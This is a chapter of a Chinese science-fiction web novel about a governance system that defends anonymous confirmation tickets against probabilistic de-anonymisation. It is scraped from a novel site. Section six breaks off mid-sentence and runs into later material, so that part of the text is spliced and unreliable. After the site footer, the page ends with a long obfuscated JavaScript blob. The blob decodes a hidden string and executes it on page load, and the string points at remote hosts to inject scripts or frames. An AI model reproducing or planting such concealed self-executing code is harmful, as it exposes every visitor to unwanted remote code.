第192章 显影推断
第192章显影推断(第1/2页)
DAY-RPT-23640。
确认护盾上线后,理解通道的堵塞迅速缓解:
分叉点确认率回升,确认票据的匿名对外、对内追溯、双段撤销窗口、反截取说明卡与去权重联动,让“确认=背锅”的恐惧失去扩散效率。
转译链再次顺畅,转译簇不再被申诉洪水拖垮,轻量共识通道的温度指数回到稳定区间。
很多人以为,“确认勒索”这一波算是结束了。
机要监却在例行巡检里,捕捉到一条更细、更冷的曲线——它不是确认率,也不是撤销率,而是一种“被看见”的阴影。
存在性编号:ANL-ANON-01
标题:**可推断性上升:匿名票据被外部关联显影**
沈绫看到“可推断性”四个字,怔了一下:“票据对外匿名,怎么还能被推断?”
机要监答:“匿名对外不等于不可推断。对方不指名,他们做概率。”
江砚抬眼:“概率足够高,就等于指名。”
机要监把下一页翻开——那是一组令人发紧的样本截图:
外部平台出现了一个新账号矩阵,发布“显影推断榜”,每条只有一句话:
>“某簇编号在某时段确认了某解释路径,最可能的确认者:A(0.62)、B(0.55)、C(0.47)。”
不说确定。
只说“最可能”。
不贴证据。
只贴“关联理由”:时间、地域、公开发言节奏、过往抱怨话题、朋友圈截图、甚至线下活动合影。
这不是名单。
这是“概率名单”。
它比名单更毒:
名单可以被证明错;
概率名单永远不需要证明对,因为它永远留退路——“我只是推断”。
但对被推断的人来说,退路没有意义。
只要有人相信你“可能”做过某确认,你就会再次害怕确认。
确认勒索的恐惧回来了,换了一副外衣:
从“截图定罪”,变成“推断显影”。
敌人没有夺走确认机制。
他们夺走的是匿名的壳。
---
###一、显影推断的逻辑:你不需要知道是谁,只要让人觉得自己会被猜到
CONF-SHIELD-01让确认票据对外匿名。
匿名的目的,是避免个人被指名攻击。
可匿名有一个先天弱点:
如果票据仍携带某些元信息——时间窗、簇编号、触达路径类型、确认节奏——外部就能用公开信息做关联推断。
推断不需要准确。
只要让人相信“我可能被猜到”,就足以制造回避。
这是一种专门针对心理的攻击:
把匿名变成“名义匿名”。
让参与者重新感到自己裸露。
如果这一招成功,确认率会再次下滑。
系统会再次空转。
然后就会有人说:
“匿名保护不了你,那就实名公开吧,至少别让人乱猜。”
实名公开听起来像透明。
但实名公开会把个人重新推到靶子上。
靶子一旦出现,维护者护盾的痛苦会复制到所有参与者身上。
最终只有两种人敢参与:
极少数无所谓被攻击的人,和极少数渴望争夺权威的人。
影子共识就会在实名的废墟上自然形成。
敌人这次的高明之处在于:
他们把“透明”与“实名”绑在一起,逼你在两种痛苦里选一个。
江砚看着那张“显影推断榜”,只说了一句:
“他们不是想让人看见真相,他们想让人害怕被看见。”
---
###二、显影推断的源头:不是黑进系统,而是吃掉系统旁边的碎屑
机要监追踪推断榜的“关联理由”,发现它们几乎都来自公开碎屑:
*你曾在轻量通道说过“更快响应”
*你在朋友圈吐槽过“解释太冷”
*你在某次公开旁听里提出过“担心冻结太多”
*你在某个线下合影里和某簇轮值代表站得近
*你在某天某时段发过一条消息,恰好与确认票据时间窗相近
这些碎屑单独看不构成证据。
但碎屑足够多,推断就能形成“看似合理的故事”。
故事比证据更容易被相信。
尤其在私域里,人们更习惯相信“我听说”。
敌人不需要侵入任何护栏。
他们只需要站在护栏旁边捡碎屑。
这就是守望纪元到此的新难题:
当你把机制做得越来越安全,攻击会越来越像社会学,而不是技术学。
---
###三、这一次的伤害对象:不是维护者,是普通参与者
维护者护盾已经降低了维护者被靶向的概率。
显影推断把靶子对准了普通参与者——那些愿意提交担忧卡、愿望卡、问题卡的人。
机要监做了统计:
存在性编号:ANL-ANON-02
内容:确认回避率上升最明显的人群,是“首次参与者”和“低频参与者”。他们在经历一次推断榜传播后,确认率下降幅度最大。
这很符合心理:
老参与者熟悉回执与护盾机制,知道推断不等于证据;
新参与者不熟,他们会把推断当成现实威胁,然后选择退出。
敌人要的就是把新血压回去。
没有新血,温度指数会慢慢冷却。
温度不是一时热度,而是持续参与的流动。
流动一断,系统会变得像一座空城:结构很完美,但没人住。
---
###四、显影推断的真正目标:逼系统放弃“对外匿名”,换成“对外实名”
这是敌人最残酷的地方:
他们制造匿名失效的错觉,逼你自己取消匿名。
取消匿名的理由会非常漂亮:
“我们不怕监督,我们公开。”
公开如果指向机制,是强。
公开如果指向个人,是弱。
个人公开会把讨论重新人格化:
你是谁、你站哪边、你有什么背景。
这会把守望纪元拉回旧世界。
敌人不是要你变黑箱。
敌人要你变成“只有人名,没有机制”的世界。
那样他们就能靠人名夺权。
江砚把这条逻辑写成内部警示:
存在性编号:WARN-ANON-01
内容:显影推断攻击的终点,是逼系统取消匿名,重建个人靶子,从而复活中心化。
---
###五、应对的第一原则:匿名不是“不可追溯”,匿名是“让推断变昂贵”
完全不可推断几乎不可能。
只要有人在世界里生活,就会留下碎屑。
你不能让碎屑消失。
你能做的是:
让碎屑与票据之间的关联变得昂贵、变得不可靠、变得难以形成高概率。
也就是:降低可推断性。
可推断性不是“有没有隐私”。
可推断性是“对方用多大成本能把你猜出来”。
守望纪元对入口的处理方式一贯如此:
不追求绝对封死,追求把成本抬到不可规模化。
因此江砚提出:**群体匿名护栏**。
---
###六、群体匿名护栏:把票据从“即时可关联”变成“批次不可分”
存在性编号:ANON-GUARD-01
ANON-GUARD-01A:确认票据对外发布不再是即时,而是按批次窗口聚合发布
*例如每两刻为一批,批内只显示分叉点选择的分布,不显示单张票据的时间戳
ANON-GUARD-01B:批内引入“最小群体门槛K”
*若某分叉点选择人数“某批次确认中出现了‘担心冻结过多’的趋势,恰好某地商圈那晚发生了冲突——你猜是谁在推动?”
>“某批次‘解释过冷’选择增加,恰好某老师在直播里抱怨——你猜是谁在带节奏?”
他们用“你猜”替代概率。
用故事替代数字。
用共鸣替代证据。
这类显影更难被推断审计捕捉,因为它不试图指向个体,而是指向圈层,制造互相怀疑。
互相怀疑会腐蚀共识温度。
温度下降,参与会减少。
参与减少,系统会空心。
空心后,火把再次出现。
敌人从“指名勒索”转为“互疑冷却”。
这就是他们的耐心:
每一次防御升级,他们就换一种更社会化的攻击。
---
###十、互疑冷却的应对:把批次分布的解释权从故事夺回到回执
批次聚合保护了个体,但也带来一个新问题:
外界看到的是分布,而分布容易被编故事。
因此必须给分布配套“解释回执”,让每一个分布变化都能被追溯到结构原因,而不是被叙事占领。
江砚提出“批次解释回执”。
存在性编号:ANON-RCPT-01
ANON-RCPT-01A:每个批次分布公开时,附三项解释字段
(本章未完,请点击下一页继续阅读)第192章显影推断(第2/2页)
*E1:外压结构信号摘要(是否处于漂移波动/并发潮)
*E2:本批次转译分叉点主题聚类(大类,不暴露细节)
*E3:系统采取的动作原语与回正动作(若有)
ANON-RCPT-01B:解释字段必须映射意图宪章I1/I2/I3
ANON-RCPT-01C:若分布变化异常且无结构解释,自动触发“可推断性强化”与“投喂调查链”
ANON-RCPT-01D:解释回执不可拆句,防止被截取
这相当于告诉所有人:
分布变化不是某人推动的故事,而是某类问题在某种环境下的真实聚集。
你可以讨论它,但不能用故事去猜人。
敌人靠故事制造互疑。
解释回执把讨论重新拉回结构。
---
###十一、投喂调查链:当某主题分布变化异常,先查“输入是否被操控”
互疑冷却的另一面,是主题投喂:
敌人可以制造大量轻量输入集中在某个主题,让某分叉点选择在批次分布里显著抬升。
然后用“看,大家都这样想”推动某种叙事。
这就是把确认分布变成“注意力开关”的新形态。
因此必须把主题异常当作风险信号,而不是民意神谕。
存在性编号:FEED-INVEST-01
FEED-INVEST-01A:主题分布异常触发调查链
FEED-INVEST-01B:检查四项
*输入节奏是否等距/伪随机抖动
*触达路径是否单一圈层集中
*语义模板重复率是否过高
*分叉点确认撤销率是否异常(诱导后反悔)
FEED-INVEST-01C:若疑似投喂,只做降权与去潮,不封禁
FEED-INVEST-01D:调查输出生成L3模式提示卡(误读/投喂模式),不升级为L1/L2反例,避免免疫过敏
这样可以在不压制真实表达的前提下,让投喂成本上升,叙事难以利用分布变化制造故事。
---
###十二、一次高压场景:批次聚合会不会让决策变慢?
ANON-GUARD-01引入批次聚合,必然带来一点“对外延迟”。
敌人会抓住这一点说:
“你看,系统又变慢了,又不透明了。”
江砚很清楚:
对外延迟不等于决策变慢。
内部决策仍基于实时确认票据与内部追溯链。
对外只是批次发布,保护个体。
可问题在于:
公众的信任需要可见性。
若对外延迟过长,会引发误读与焦虑。
焦虑会被敌人利用。
因此批次发布必须与时隙保险、说明层预算联动:
在高压期,外界更需要快速知道“系统在做什么”,但不需要知道“谁做了什么”。
江砚提出高压期的“快摘要、慢分布”策略:
存在性编号:ANON-FAST-01
ANON-FAST-01A:高压期先发布“意图映射摘要卡”
*系统依据I1/I2/I3采取了哪些保守动作原语
*回滚窗口与预计恢复时刻
*不发布确认分布
ANON-FAST-01B:确认分布延迟到高压期过后按批次发布
ANON-FAST-01C:延迟发布附“为何延迟”的解释回执(保护可推断性)
ANON-FAST-01D:高压期任何要求“公开个人确认”的提案自动进入风险链审查
这让系统在高压期仍能及时“告诉大家发生了什么”,但不会暴露可推断碎屑。
透明仍在,只是透明指向动作与意图,而不指向个体。
---
###十三、显影推断的另一个阴影:内部追溯会不会变成监控?
敌人一定会攻击ANON-GUARD的对内追溯:
“对外匿名,对内追溯,你们是不是在监控所有人?”
这是老叙事:把防刷票与防滥用说成监控。
江砚没有回避。他用意图宪章回应:
对内追溯只服务I1与I2——防止投喂刷票与滥用破坏入口成本。
对内追溯不能用于归责与报复,也不能用于价值判断。
它只能用于风险审计,而且审计必须可抽检。
于是他把对内追溯也写进双账:
存在性编号:LEDGER-ANON-01
LEDGER-ANON-01A:对外账(批次分布+解释回执+最大推断概率区间)
LEDGER-ANON-01B:对内账(票据追溯链仅用于投喂审计与刷票降权)
LEDGER-ANON-01C:季度抽检摘要(说明追溯链使用次数、用途类别、是否发现滥用)
这样,“监控”叙事就很难成立。
因为追溯链使用是可查的,且用途边界封存,滥用会留下痕迹。
守望纪元从不靠说“相信我”。
它靠的是:你不必相信我,因为我被约束在可查边界里。
---
###十四、群体匿名的成本:会不会削弱共识温度?
保护可推断性会增加一点发布摩擦。
摩擦若过大,温度会下降。
这也是敌人可能利用的点:
“你看,为了匿名保护,系统变得更冷。”
江砚的解法是:
把温度放在“输入→转译→试验→回执”的可见路径上,而不是放在“即时公开分布”上。
也就是说:
你可以看见你的输入被处理,你可以看见转译链与分叉点确认,你可以看见试验场排期与结果,你可以看见落地回执;
你不需要即时看见“别人怎么确认”。
别人怎么确认属于群体隐私。
温度来自被看见与被处理。
不是来自窥视他人的选择。
这一点需要被反复写进公开说明。
存在性编号:PUB-ANON-01
PUB-ANON-01A:群体匿名的目的(降低可推断性,保护参与勇气)
PUB-ANON-01B:不影响行动与决策(内部实时,外部批次)
PUB-ANON-01C:温度路径仍可查(输入到落地链)
PUB-ANON-01D:解释回执防故事显影(不让分布变成猜人素材)
---
###十五、一次关键转折:参与者开始把“被推断”当作一种公共风险,而非个人羞耻
最难的一步,是让人们不再把“被推断”当作个人羞耻或个人软弱。
一旦把它当作个人问题,就会回到“你自己小心点”。
这会让弱者退出,强者留下,影子共识形成。
而群体匿名护栏的意义在于:
被推断是公共风险。
公共风险要用公共护栏处理。
当ANON-AUDIT开始公布“最大推断概率区间”,当回执解释分布变化的结构原因,当批次K门槛保护小群体——人们慢慢意识到:
“我不是不够小心,是有人在做推断武器。”
“保护自己不是隐瞒,是维护公共参与。”
这会把羞耻转化为共同防御:
不是退场,而是一起把推断变昂贵。
机要监在一个月后给出语用分析:
存在性编号:ANL-ANON-04
内容:讨论中“你被推断”转为“我们需要降低可推断性”;“别确认”话术下降,“确认票据安全”话术上升。
这就是温度的另一种形态:
不是热烈,而是互相保护的默契。
---
###十六、尾声:匿名不是隐藏,匿名是让夺权变昂贵
DAY-RPT-24000。
显影推断被识别为“可推断性夺权”路径:
群体匿名护栏将确认从单票据可关联转为批次聚合分布,K门槛与轻量噪声降低推断概率;
可推断性审计与推断攻击模拟器常态运行,触发匿名增强;
批次解释回执夺回分布解释权,阻断故事显影与互疑冷却;
投喂调查链让主题异常成为风险信号而非民意神谕;
高压期采用快摘要慢分布,保证透明指向动作与意图而非个体;
追溯双账与抽检摘要锁住对内追溯的边界,防止被说监控。
敌人试图夺走匿名的壳,让确认再次成为风险,让参与者回避、共识空心、火把复活。
规则没有取消匿名,也没有把人推回靶子。
规则把匿名升级为群体护栏,把推断变昂贵,把故事变回结构,把羞耻变成公共风险。
当匿名不再是个人躲藏,而是公共参与的护城河,
确认就能继续发生,
理解通道就能继续畅通,
共识就不会空心化,
开关就无法借“你会被看见”复活成权威。
星河仍在演化,推断仍会出现,入口仍会迁移。
但只要可推断性被守住,守望纪元就不会被逼回那个只剩火把与人名的旧世界。
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();